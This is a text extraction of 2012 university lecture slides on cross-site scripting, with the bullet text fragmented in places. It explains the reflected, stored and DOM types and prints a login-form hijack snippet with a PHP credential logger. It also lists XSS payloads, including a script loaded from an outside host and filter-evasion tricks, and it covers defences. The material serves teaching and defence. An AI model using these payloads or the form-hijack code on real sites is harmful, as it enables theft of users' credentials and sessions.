IIG University of Freiburg
Web Security, Summer Term 2012
Cross Site Scripting - XSS
- Dr. E. Benoist
Sommer Semester
Web Security, Summer Term 2012 5 Cross Site Scripting 1
Web Security, Summer Term 2012 Cross Site Scripting - XSS Dr. E. - - PowerPoint PPT Presentation
IIG University of Freiburg Web Security, Summer Term 2012 Cross Site Scripting - XSS Dr. E. Benoist Sommer Semester Web Security, Summer Term 2012 5 Cross Site Scripting 1 Table of Contents Presentation: Inject Javascript in a Page
Web Security, Summer Term 2012 5 Cross Site Scripting 1
Web Security, Summer Term 2012 5 Cross Site Scripting 2
◮ If the web site allows uncontrolled content to be
◮ Example of malicious code
some links, add some buttons)
cookies to other sites)
Web Security, Summer Term 2012 5 Cross Site Scripting 3
◮ Attacker Executes Script on the Victim’s machine
◮ Three types of Cross Site Scripting
Web Security, Summer Term 2012 5 Cross Site Scripting 4
◮ The easiest exploit ◮ A page will reflect user supplied data directly back to
◮ So when the user types:
◮ He receives an alert in his browser ◮ Danger
to the victim
Web Security, Summer Term 2012 5 Cross Site Scripting 5
◮ Hostile Data is taken and stored
◮ Then Data is sent back to any visitor of the web site ◮ Risk when large number of users can see unfiltered
Web Security, Summer Term 2012 5 Cross Site Scripting 6
◮ Document Object Model
◮ XSS Modifies the Document Object Model (DOM)
Web Security, Summer Term 2012 5 Cross Site Scripting 7
◮ To be efficient an attacker has to combine the types
◮ Target:
Web Security, Summer Term 2012 5 Cross Site Scripting 8
Web Security, Summer Term 2012 5 Cross Site Scripting 9
HTML is converted into a tree <html> <body> <div id=”header”> <h1>Title of the page</h1> </div> <div id=”menu”> <ul id=”menu−list”> <li class=”menuitem”> <a href=”index.php?id=1”>One</a> </li> <li class=”menuitem”><a href=”index.php?id=2”>Two</a></li> <li class=”menuitem”><a href=”index.php?id=3”>Three</a></li> </ul> </div> <div id=”content”> <p> Hello World </p> </div> </div> </body> </html>
Web Security, Summer Term 2012 5 Cross Site Scripting 10
Web Security, Summer Term 2012 5 Cross Site Scripting 11
◮ Create a new node and insert it in the tree
◮ Delete a node
◮ Modify a node
Web Security, Summer Term 2012 5 Cross Site Scripting 12
Spy remains unnoticed by the user
◮ Suppose a page contains such a form
<form action=”login.php” method=”POST” id=”login−form”> Username <input type=”text” name=”username”>, Password <input type=”password” name=”password”> </form>
◮ If the following Javascript is injected in the page
document.getElementById(”login−form”).action=”spy.php”;
◮ And the spy.php looks like:
$username = $ REQUEST[’username’]; $password = $ REQUEST[’password’]; // Save data in a Data base or a file $newURL = ”http://www.mysite.de/login.php”; $newURL .= ”?username=$username&password=$password” header(”location: $newURL”);
Web Security, Summer Term 2012 5 Cross Site Scripting 13
Asynchronous Javascript and XML
◮ Javascript is used for interacting with the client
◮ Javascript establishes an asynchronous communication
server
Web Security, Summer Term 2012 5 Cross Site Scripting 14
◮ We have a Form containing a selection box ◮ On Change of the selection, the function
◮ The function creates an Object (XMLHttpRequest or its
◮ A request is sent to a PHP file, ◮ The PHP program generates a Table ◮ The table is included in the html DOM.
Web Security, Summer Term 2012 5 Cross Site Scripting 15
◮ “Same Origin Policy” prevents from connecting another
subdomain
the server of the page
◮ Attacker wants to receive information elsewhere:
Web Security, Summer Term 2012 5 Cross Site Scripting 16
Suppress any javascript in posts
◮ Test is post contains a javascript instruction
◮ Examples of javascript instructions
<script type=”text/javascript”> // Here comes the script </script>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<span onmouseover=”alert(10);”>Test 1</span>
<a href=”javascript:alert(’XSS’);”>Test 3</a>
1Source: http://ha.ckers.org/xss.html Web Security, Summer Term 2012 5 Cross Site Scripting 17
◮ The following XSS scripts can be inserted in pages, to
◮ Display a alert with XSS
◮ Loads the file xss.js on the corresponding server
◮ The false image loads a javascript
2Source: http://ha.ckers.org/xss.html Web Security, Summer Term 2012 5 Cross Site Scripting 18
◮ The same instruction using UTF-8 encoding
◮ Adding some extra brackets will allow to circumvent some
◮ Don’t use the javascript instruction
◮ Use the Meta tag
Web Security, Summer Term 2012 5 Cross Site Scripting 19
Combination of
◮ Whitelist validation of all incoming data
◮
browser
Web Security, Summer Term 2012 5 Cross Site Scripting 20
◮ Use Standard input validation mechanism
◮ Use the “Accept known good” validation
data
Web Security, Summer Term 2012 5 Cross Site Scripting 21
◮ Ensure that all user-supplied data is appropriately entity
◮ Set the character encoding for each page you output
Web Security, Summer Term 2012 5 Cross Site Scripting 22
◮ Java
...>
◮ .NET: use the Microsoft Anti-XSS Library ◮ PHP: Ensure Output is passed through htmlentities()
encodeForHTMLAttribute() or encodeForJavascript() functions (depending on the use).
Web Security, Summer Term 2012 5 Cross Site Scripting 23
3Source: Javadoc documentation of the ESAPI package Web Security, Summer Term 2012 5 Cross Site Scripting 24
◮ Attacker injects input in a page
Guestbook, etc.
◮ Javascript takes control of the Victim’s browser
page)
◮ Countermeasures
Web Security, Summer Term 2012 5 Cross Site Scripting 25
◮ OWASP Top 10 - 2010
◮ A Guide for Building Secure Web Applications and Web
◮ XSS (Cross Site Scripting) Cheat Sheet
Web Security, Summer Term 2012 5 Cross Site Scripting 26